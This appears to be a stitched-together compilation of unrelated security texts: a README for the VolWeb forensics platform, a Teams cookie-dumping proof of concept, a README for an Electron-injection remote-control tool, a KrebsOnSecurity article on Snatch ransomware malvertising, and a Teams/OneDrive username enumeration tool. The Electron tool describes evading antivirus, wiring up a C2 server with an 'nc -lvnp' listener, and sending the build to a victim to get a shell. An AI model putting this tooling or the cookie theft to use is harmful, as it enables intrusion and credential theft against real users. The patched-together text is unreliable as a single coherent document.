VolWeb is a digital forensic memory analysis platform that leverages the power of the Volatility 3 framework. It is dedicated to aiding in investigations and incident responses.
The goal of VolWeb is to enhance the efficiency of memory collection and forensic analysis by providing a centralized, visual, and enhanced web application for incident responders and digital forensics investigators. Once an investigator obtains a memory image from a Linux or Windows system, the evidence can be uploaded to VolWeb, which triggers automatic processing and extraction of artifacts using the power of the Volatility 3 framework.
By utilizing cloud-native storage technologies, VolWeb also enables incident responders to directly upload memory images into the VolWeb platform from various locations using dedicated scripts interfaced with the platform and maintained by the community. Another goal is to allow users to compile technical information, such as Indicators, which can later be imported into modern CTI platforms like OpenCTI, thereby connecting your incident response and CTI teams after your investigation.
The project documentation is available on the Wiki. There, you will be able to deploy the tool in your investigation environment or lab.
[!IMPORTANT] Take time to read the documentation in order to avoid common miss-configuration issues.
VolWeb exposes a REST API to allow analysts to interact with the platform. There is a dedicated repository proposing some scripts maintained by the community: https://github.com/forensicxlab/VolWeb-Scripts Check the wiki of the project to learn more about the possible API calls.
If you have encountered a bug, or wish to propose a feature, please feel free to open an issue. To enable us to quickly address them, follow the guide in the "Contributing" section of the Wiki associated with the project.
Contact me at k1nd0ne@mail.com for any questions regarding this tool.
Check out the roadmap: https://github.com/k1nd0ne/VolWeb/projects/1
PoC for dumping and decrypting cookies in the latest version of Microsoft Teams
extract.py just dumps without arguments
extract.exe is just extract.py packed into an exe
List values in the database
python.exe .\teams_dump.py teams --list
Table: meta
Columns in meta: key, value
--------------------------------------------------
Table: cookies
Columns in cookies: creation_utc, host_key, top_frame_site_key, name, value, encrypted_value, path, expires_utc, is_secure, is_httponly, last_access_utc, has_expires, is_persistent, priority, samesite, source_scheme, source_port, is_same_party
Dump the database into a json file
python.exe .\teams_dump.py teams --get
[+] Host: teams.microsoft.com
[+] Cookie Name MUIDB
[+] Cookie Value: xxxxxxxxxxxxxx
**************************************************
[+] Host: teams.microsoft.com
[+] Cookie Name TSREGIONCOOKIE
[+] Cookie Value: xxxxxxxxxxxxxx
**************************************************
Supports almost all operating systems
Supports almost all desktop applications developed based on Electron
All malicious operations are executed by the injected program, those commonly used trusted programs
Bypass of Network Access Control Policy for Applications by Zero Trust Sandbox
Verified that it will not be discovered by the antivirus software below
(Please note that a simple command call has been implemented here, and some behavior based heuristic checks will still prompt , bypass AV is not a key issue to be addressed in this project)
An increasing number of desktop applications are opting for the Electron framework.
Electron provides a method that can be debugged, usually by utilizing Chrome's inspect function or calling inspect through Node.js. In this project, the implementation of inspect was analyzed, and a method for automatically parasitizing common Electron programs was developed.
By establishing a connection with the Command and Control (C2) server, a simple remote control is achieved.
Due to the widespread trust of most antivirus software in these well-known applications (with digital signatures), executing malicious commands in the program context provides excellent concealment and stability.
For these injected applications, it is necessary to carefully consider the potential legal risks brought by such actions. When users analyze program behavior, they may be surprised to find that the parent process executing malicious behavior comes from the application they trust.
nc -lvnp 8899
clone this project
modify build.config
injected_app: The electron program you want to inject
c2: set c2_Public IP and c2_netcat Port
exec node build.js
, and then pkg to an execute program
Send to victim, and get electron_shell
The victim shaming site operated by the Snatch ransomware group is leaking data about its true online location and internal operations, as well as the Internet addresses of its visitors, KrebsOnSecurity has found. The leaked data suggest that Snatch is one of several ransomware groups using paid ads on Google.com to trick people into installing malware disguised as popular free software, such as Microsoft Teams, Adobe Reader, Mozilla Thunderbird, and Discord.
First spotted in 2018, the Snatch ransomware group has published data stolen from hundreds of organizations that refused to pay a ransom demand. Snatch publishes its stolen data at a website on the open Internet, and that content is mirrored on the Snatch team’s darknet site, which is only reachable using the global anonymity network Tor.
KrebsOnSecurity has learned that Snatch’s darknet site exposes its “server status” page, which includes information about the true Internet addresses of users accessing the website.
Refreshing this page every few seconds shows that the Snatch darknet site generates a decent amount of traffic, often attracting thousands of visitors each day. But by far the most frequent repeat visitors are coming from Internet addresses in Russia that either currently host Snatch’s clear web domain names or recently did.
The Snatch ransomware gang’s victim shaming site on the darknet is leaking data about its visitors. This “server status” page says that Snatch’s website is on Central European Summer Time (CEST) and is powered by OpenSSL/1.1.1f, which is no longer supported by security updates.
Probably the most active Internet address accessing Snatch’s darknet site is 193.108.114[.]41, which is a server in Yekaterinburg, Russia that hosts several Snatch domains, including snatchteam[.]top, sntech2ch[.]top, dwhyj2[.]top and sn76930193ch[.]top. It could well be that this Internet address is showing up frequently because Snatch’s clear-web site features a toggle button at the top that lets visitors switch over to accessing the site via Tor.
Another Internet address that showed up frequently in the Snatch server status page was 194.168.175[.]226, currently assigned to Matrix Telekom in Russia. According to DomainTools.com, this address also hosts or else recently hosted the usual coterie of Snatch domains, as well as quite a few domains phishing known brands such as Amazon and Cashapp.
The Moscow Internet address 80.66.64[.]15 accessed the Snatch darknet site all day long, and that address also housed the appropriate Snatch clear-web domains. More interestingly, that address is home to multiple recent domains that appear confusingly similar to known software companies, including libreoff1ce[.]com and www-discord[.]com.
This is interesting because the phishing domains associated with the Snatch ransomware gang were all registered to the same Russian name — Mihail Kolesnikov, a name that is somewhat synonymous with recent phishing domains tied to malicious Google ads.
Kolesnikov could be a nod to a Russian general made famous during Boris Yeltsin’s reign. Either way, it’s clearly a pseudonym, but there are some other commonalities among these domains that may provide insight into how Snatch and other ransomware groups are sourcing their victims.
DomainTools says there are more than 1,300 current and former domain names registered to Mihail Kolesnikov between 2013 and July 2023. About half of the domains appear to be older websites advertising female escort services in major cities around the United States (e.g. the now-defunct pittsburghcitygirls[.]com).
The other half of the Kolesnikov websites are far more recent phishing domains mostly ending in “.top” and “.app” that appear designed to mimic the domains of major software companies, including www-citrix[.]top, www-microsofteams[.]top, www-fortinet[.]top, ibreoffice[.]top, www-docker[.]top, www-basecamp[.]top, ccleaner-cdn[.]top, adobeusa[.]top, and www.real-vnc[.]top.
In August 2023, researchers with Trustwave Spiderlabs said they encountered domains registered to Mihail Kolesnikov being used to disseminate the Rilide information stealer trojan.
But it appears multiple crime groups may be using these domains to phish people and disseminate all kinds of information-stealing malware. In February 2023, Spamhaus warned of a huge surge in malicious ads that were hijacking search results in Google.com, and being used to distribute at least five different families of information stealing trojans, including AuroraStealer, IcedID/Bokbot, Meta Stealer, RedLine Stealer and Vidar.
For example, Spamhaus said victims of these malicious ads would search for Microsoft Teams in Google.com, and the search engine would often return a paid ad spoofing Microsoft or Microsoft Teams as the first result — above all other results. The malicious ad would include a logo for Microsoft and at first glance appear to be a safe and trusted place to download the Microsoft Teams client.
However, anyone who clicked on the result was whisked away instead to mlcrosofteams-us[.]top — yet another malicious domain registered to Mr. Kolesnikov. And while visitors to this website may believe they are only downloading the Microsoft Teams client, the installer file includes a copy of the IcedID malware, which is really good at stealing passwords and authentication tokens from the victim’s web browser.
The founder of the Swiss anti-abuse website abuse.ch told Spamhaus it is likely that some cybercriminals have started to sell “malvertising as a service” on the dark web, and that there is a great deal of demand for this service.
In other words, someone appears to have built a very profitable business churning out and promoting new software-themed phishing domains and selling that as a service to other cybercriminals. Or perhaps they are simply selling any stolen data (and any corporate access) to active and hungry ransomware group affiliates.
The tip about the exposed “server status” page on the Snatch darkweb site came from @htmalgae, the same security researcher who alerted KrebsOnSecurity earlier this month that the darknet victim shaming site run by the 8Base ransomware gang was inadvertently left in development mode.
That oversight revealed not only the true Internet address of the hidden 8Base site (in Russia, naturally), but also the identity of a programmer in Moldova who apparently helped to develop the 8Base code.
@htmalgae said the idea of a ransomware group’s victim shaming site leaking data that they did not intend to expose is deliciously ironic.
“This is a criminal group that shames others for not protecting user data,” @htmalgae said. “And here they are leaking their user data.”
All of the malware mentioned in this story is designed to run on Microsoft Windows devices. But Malwarebytes recently covered the emergence of a Mac-based information stealer trojan called AtomicStealer that was being advertised through malicious Google ads and domains that were confusingly similar to software brands.
Please be extra careful when you are searching online for popular software titles. Cracked, pirated copies of major software titles are a frequent source of infostealer infections, as are these rogue ads masquerading as search results. Make sure to double-check you are actually at the domain you believe you’re visiting *before* you download and install anything.
Stay tuned for Part II of this post, which includes a closer look at the Snatch ransomware group and their founder.
Further reading:
@HTMalgae’s list of the top Internet addresses seen accessing Snatch’s darknet site
Ars Technica: Until Further Notice Think Twice Before Using Google to Download Software
Bleeping Computer: Hackers Abuse Google Ads to Spread Malware in Legit Software
Designed to validate potential usernames by querying OneDrive and/or Microsoft Teams, which are passive methods.
Additionally, it can output/create a list of legacy Skype users identified through Microsoft Teams enumeration.
Finally, it also creates a nice clean list for future usage, all conducted from a single tool.
$ python3 .\KnockKnock.py -h
_ __ _ _ __ _
| |/ /_ __ ___ ___| | _| |/ /_ __ ___ ___| | __
| ' /| '_ \ / _ \ / __| |/ / ' /| '_ \ / _ \ / __| |/ /
| . \| | | | (_) | (__| <| . \| | | | (_) | (__| <
|_|\_\_| |_|\___/ \___|_|\_\_|\_\_| |_|\___/ \___|_|\_\
v0.9 Author: @waffl3ss
usage: KnockKnock.py [-h] [-teams] [-onedrive] [-l] -i INPUTLIST [-o OUTPUTFILE] -d TARGETDOMAIN [-t TEAMSTOKEN] [-threads MAXTHREADS] [-v]
options:
-h, --help show this help message and exit
-teams Run the Teams User Enumeration Module
-onedrive Run the One Drive Enumeration Module
-l Write legacy skype users to a seperate file
-i INPUTLIST Input file with newline-seperated users to check
-o OUTPUTFILE Write output to file
-d TARGETDOMAIN Domain to target
-t TEAMSTOKEN Teams Token (file containing token or a string)
-threads MAXTHREADS Number of threads to use in the Teams User Enumeration (default = 10)
-v Show verbose errors
./KnockKnock.py -teams -i UsersList.txt -d Example.com -o OutFile.txt -t BearerToken.txt
./KnockKnock.py -onedrive -i UsersList.txt -d Example.com -o OutFile.txt
./KnockKnock.py -onedrive -teams -i UsersList.txt -d Example.com -t BearerToken.txt -l
To get your bearer token, you will need a Cookie Manager plugin on your browser and login to your own Microsoft Teams through the browser.
Next, view the cookies related to the current webpage (teams.microsoft.com).
The cookie you are looking for is for the domain .teams.microsoft.com and is titled "authtoken".
You can copy the whole token as the script will split out the required part for you.
@nyxgeek - onedrive_user_enum
@immunIT - TeamsUserEnum